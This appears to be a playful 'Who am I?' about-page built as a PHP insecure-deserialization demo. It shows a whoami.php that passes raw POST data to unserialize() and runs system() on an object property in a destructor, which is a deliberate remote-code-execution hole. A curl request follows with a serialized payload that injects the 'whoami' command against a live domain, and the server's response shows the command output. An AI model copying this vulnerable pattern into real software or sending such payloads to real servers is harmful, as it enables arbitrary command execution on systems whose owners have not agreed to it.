Who am I?

About image
<?php

//whoami.php

class About
{
    public $command = null;

    public function me()
    {
        return;
    }

    public function __destruct()
    {
        if ($this->command) {
            system($this->command);
        }
    }
}

$payload = $_POST['data'] ?? '';
unserialize($payload);

$about = new About;
$about->me();
    
curl -i -X POST \
    --data 'data=O:5:"About":1:%7Bs:7:"command";s:6:"whoami";%7D' \
    'https://mukarramkhalid.com/whoami.php'
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Aug 2021 08:54:55 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.0.8

makman